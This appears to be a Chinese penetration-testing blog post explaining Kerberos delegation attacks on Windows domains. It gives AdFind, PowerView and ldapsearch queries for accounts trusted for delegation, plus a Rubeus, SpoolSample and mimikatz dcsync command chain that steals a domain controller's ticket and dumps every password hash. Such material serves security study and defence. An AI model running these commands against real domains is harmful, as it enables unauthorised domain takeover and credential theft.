域渗透|Delegation

域渗透|Delegation

Delegation(委派)

委派

将域内用户的权限委派给服务账号,使得服务账号能以用户权限开展域内活动,接受委派的用户只能是服务账户或者主机账户

域委派存在三种类型,非约束委派约束委派基于资源的约束委派

例子

Client 需要通过HTTP访问sqlserver服务器,但HTTP并没有访问sqlserver的权限,这时候HTTP就需要Client的身份去访问sqlserver ,然后再将请求返回给Client

非约束委派

https://www.se7ensec.cn/2021/10/20/%E5%9F%9F%E6%B8%97%E9%80%8F-Kerberos%E5%9F%9F%E8%AE%A4%E8%AF%81%E6%9C%BA%E5%88%B6%E5%89%96%E6%9E%90/#%E9%9D%9E%E7%BA%A6%E6%9D%9F%E5%A7%94%E6%B4%BE%E6%94%BB%E5%87%BB

对于非约束性委派(Unconstrained Delegation),

服务账号可以获取被委派用户的TGT,并将TGT缓存到LSASS进程中,从而服务账号可使用该TGT,模拟用户访问任意服务。配置了非约束委派的账户的userAccountControl 属性有个FLAG位TRUSTED_FOR_DELEGATION。非约束委派的设置需要SeEnableDelegation特权,该特权通常仅授予域管理员 (注:域控主机账户默认配置非约束委派属性)。

非约束委派(Unconstrained Delegation)是一种风险性极大的委派方式,它通过TGT转发使服务器具有模拟用户的能力。服务账户根据用户发给自己的可转发的TGT代表用户请求其他任何服务,由此可知,一旦开启了无约束委派的服务账户被攻陷,用户身份将被滥用。

ADFind

查询非约束委派的主机

1
AdFind.exe -b "DC=nncm,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

查询非约束委派的服务账户

1
AdFind.exe -b "DC=nncm,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

PowerView

查找域中配置非约束委派用户

1
Get-NetUser -Unconstrained -Domain nncm.com |select name

查找域中配置非约束委派的主机

1
Get-NetComputer -Unconstrained -Domain nncm.com | select name

ldapsearch

kali上自带,适合在域外查询

查找域中配置非约束委派的用户

1
ldapsearch -x -H ldap://192.168.201.166:389 -D "CN=test,CN=Users,DC=nncm,DC=com" -w 123456 -b "DC=nncm,DC=com" "(&(samAccountType=805306368) (userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"

查找域中配置非约束委派的主机

1
ldapsearch -x -H ldap://192.168.201.166:389 -D "CN=administrator,CN=Users,DC=nncm,DC=com" -w 123456 -b "DC=nncm,DC=com" "(&(samAccountType=805306369) (userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"

非约束委派+Spooler利用

这个实现了前提是:需要获取一台 “主机账户” 开启了非约束委派域内机器的权限

https://github.com/leechristensen/SpoolSample

在机器上以管理员权限执行以下命令,监听来自DC机器的相关信息

1
Rubeus.exe monitor /interval:1  /filteruser:DC01$

利用SpoolSample强制让DC访问WIN-TVHO4UIFMBT机器,抓取票据

1
SpoolSample.exe DC01 WIN-TVHO4UIFMBT

Rubeus导入获取到的TGT票据

1
Rubeus.exe ptt /ticket:抓取下来的票据base64内容

或使用powershell命令转成文件格式进行凭据导入

https://blog.csdn.net/a3320315/article/details/106511098

1
[IO.File]::WriteAllBytes("C:\Users\Public\ticket.kirbi", [Convert]::FromBase64String("base64凭据内容"))

导出域控hash

1
mimikatz.exe "log" "lsadump::dcsync /all /csv" "exit"

约束委派

https://www.se7ensec.cn/2021/10/20/%E5%9F%9F%E6%B8%97%E9%80%8F-Kerberos%E5%9F%9F%E8%AE%A4%E8%AF%81%E6%9C%BA%E5%88%B6%E5%89%96%E6%9E%90/#%E7%BA%A6%E6%9D%9F%E5%A7%94%E6%B4%BE%E6%94%BB%E5%87%BB

约束委派利用

约束委派可以作为变种黄金票据,用作后门权限维持。

https://github.com/SkewwG/domainTools/blob/master/delegationVul/%E7%BA%A6%E6%9D%9F%E5%A7%94%E6%B4%BE%E5%88%A9%E7%94%A8.md

基于资源的约束委派

https://www.se7ensec.cn/2021/10/20/%E5%9F%9F%E6%B8%97%E9%80%8F-Kerberos%E5%9F%9F%E8%AE%A4%E8%AF%81%E6%9C%BA%E5%88%B6%E5%89%96%E6%9E%90/#%E5%9F%BA%E4%BA%8E%E8%B5%84%E6%BA%90%E7%9A%84%E7%BA%A6%E6%9D%9F%E5%A7%94%E6%B4%BE%E6%94%BB%E5%87%BB

基于资源的约束委派利用

域渗透——基于资源的约束委派利用 - https://xz.aliyun.com/t/7454

1
2
3
基于资源的约束委派利用
解决敏感用户不可委派的问题
利用基于资源的约束委派进行域权限维持

参考

https://forum.butian.net/share/1591 - ※红队域渗透技术:委派攻击汇总(全)

https://xz.aliyun.com/t/7217 - ※域渗透—Kerberos委派攻击(这一篇很不错)

https://mp.weixin.qq.com/s/Ue2ULu8vxYHrYEalEzbBSw - 微软不认的“0day”之域内本地提权-烂番茄(Rotten Tomato)

https://cloud.tencent.com/developer/article/1601095 - 这是一篇“不一样”的真实渗透测试案例分析文章

https://www.cnblogs.com/nice0e3/p/15875685.html - 域内委派攻击

https://xz.aliyun.com/t/10061 - kerberos委派攻击的那些事

https://mp.weixin.qq.com/s/GdmnlsKJJXhElA4GuwxTKQ - 委派攻击知识点全收录(补充)

https://www.cnblogs.com/car7n/p/14789004.html - 委派

https://skewwg.github.io/2020/11/25/yue-shu-wei-pai-li-yong/ - 约束委派利用

https://skewwg.github.io/2020/11/25/ji-yu-zi-yuan-de-yue-shu-wei-pai-li-yong - 基于资源的约束委派利用

作者

Se7en

发布于

2021-11-01

更新于

2023-07-25

许可协议

评论